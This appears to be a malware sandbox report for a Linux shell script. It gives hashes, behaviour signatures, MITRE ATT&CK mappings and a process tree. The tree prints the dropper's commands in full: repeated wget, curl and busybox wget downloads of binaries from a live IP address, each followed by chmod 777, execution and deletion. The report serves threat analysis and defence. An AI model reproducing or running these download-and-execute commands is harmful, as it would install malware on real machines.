5b5aa6bdfc62a9584cda1474c4efc2a79fdc2884dead583f0d69a48f6ec3f0ae

Analysis

max time kernel
23s
max time network
26s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/10/2024, 02:23

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
5b5aa6bdfc62a9584cda1474c4efc2a79fdc2884dead583f0d69a48f6ec3f0ae.sh
Size 10KB
Sample241027-cvkb4ascrg
SHA256 5b5aa6bdfc62a9584cda1474c4efc2a79fdc2884dead583f0d69a48f6ec3f0ae
MD5 788455780ea094018314d177b06bc6c7
SHA1 fed4c714293cf21d947da11f6557ae8cce17071e
SHA512 1de55f8859f0485b63139e06e216a92450efe26dc5d88c1b20519fc913c8eade2688731866a4d8756a4f72f6af8dd04d20283815939fbd6844727991d31c4c9a
SSDEEP 96:FaR6l656DwojG1uGROuSbaqI0R0bR6l656Dwol7UVG1uGR25uSbaqbJYTBCTbIH:FaMI0DwopuSbaqI0R0YI0DwowuSbaqo
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
775	chmod
788	chmod
692	chmod
704	chmod
716	chmod
730	chmod
743	chmod
759	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge	693	ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
/tmp/QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1	705	QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
/tmp/KnTTDDsvNxSydYgPidAurYS9baJBODz0rd	718	KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
/tmp/lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte	732	lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
/tmp/pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5	744	pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
/tmp/7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A	760	7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
/tmp/pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe	776	pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
/tmp/iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E	789	iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 16 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5	curl
File opened for modification	/tmp/7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A	curl
File opened for modification	/tmp/pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe	curl
File opened for modification	/tmp/iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E	curl
File opened for modification	/tmp/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge	curl
File opened for modification	/tmp/QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1	curl
File opened for modification	/tmp/KnTTDDsvNxSydYgPidAurYS9baJBODz0rd	curl
File opened for modification	/tmp/lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte	curl

/tmp/5b5aa6bdfc62a9584cda1474c4efc2a79fdc2884dead583f0d69a48f6ec3f0ae.sh
/tmp/5b5aa6bdfc62a9584cda1474c4efc2a79fdc2884dead583f0d69a48f6ec3f0ae.sh
1⤵
PID:666
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:670
- /usr/bin/wget
  wget http://87.120.126.196/bins/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:681
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  2⤵
  PID:690
- /bin/chmod
  chmod 777 ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  ./ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
  2⤵
  PID:695
- /usr/bin/wget
  wget http://87.120.126.196/bins/QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  2⤵
  PID:696
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:699
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  2⤵
  PID:703
- /bin/chmod
  chmod 777 QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  2⤵
  - File and Directory Permissions Modification
  PID:704
- /tmp/QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  ./QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  2⤵
  - Executes dropped EXE
  PID:705
- /bin/rm
  rm QTLnfqoTH4FpUHoi6oqZzXpAYPVBGniwo1
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.126.196/bins/KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  2⤵
  PID:707
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:709
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  2⤵
  PID:714
- /bin/chmod
  chmod 777 KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  2⤵
  - File and Directory Permissions Modification
  PID:716
- /tmp/KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  ./KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  2⤵
  - Executes dropped EXE
  PID:718
- /bin/rm
  rm KnTTDDsvNxSydYgPidAurYS9baJBODz0rd
  2⤵
  PID:719
- /usr/bin/wget
  wget http://87.120.126.196/bins/lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  2⤵
  PID:720
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  2⤵
  PID:728
- /bin/chmod
  chmod 777 lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  ./lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  2⤵
  - Executes dropped EXE
  PID:732
- /bin/rm
  rm lwWFxGnIqb6lVYw9XwbGTtA53T3InxRTte
  2⤵
  PID:733
- /usr/bin/wget
  wget http://87.120.126.196/bins/pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:737
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  2⤵
  PID:740
- /bin/chmod
  chmod 777 pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  ./pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm pia9SqAhobLB6sV28XTR8A2R1BpRELp7R5
  2⤵
  PID:745
- /usr/bin/wget
  wget http://87.120.126.196/bins/7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  2⤵
  PID:756
- /bin/chmod
  chmod 777 7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  ./7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  2⤵
  - Executes dropped EXE
  PID:760
- /bin/rm
  rm 7u8nqOHZAvrHrXdIDLqyjyCenA8YVIAU7A
  2⤵
  PID:761
- /usr/bin/wget
  wget http://87.120.126.196/bins/pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:767
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  2⤵
  PID:772
- /bin/chmod
  chmod 777 pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  ./pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm pNlBEqxrjLGc4A6DEkH73g1YikCn0ZrApe
  2⤵
  PID:777
- /usr/bin/wget
  wget http://87.120.126.196/bins/iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://87.120.126.196/bins/iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:781
- /bin/busybox
  /bin/busybox wget http://87.120.126.196/bins/iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  2⤵
  PID:787
- /bin/chmod
  chmod 777 iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  ./iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm iUzb9lwHhCriwGMc3DuLJUUaXmXATXAf9E
  2⤵
  PID:790
- /usr/bin/wget
  wget http://87.120.126.196/bins/4V1BfrZcZ8THdClYvlWCXihfTEv5W1IqLc
  2⤵
  PID:791

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge

Path /tmp/ue0HMQfDUAuKUjvMvFt0pZSoWxKYtvl1ge
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads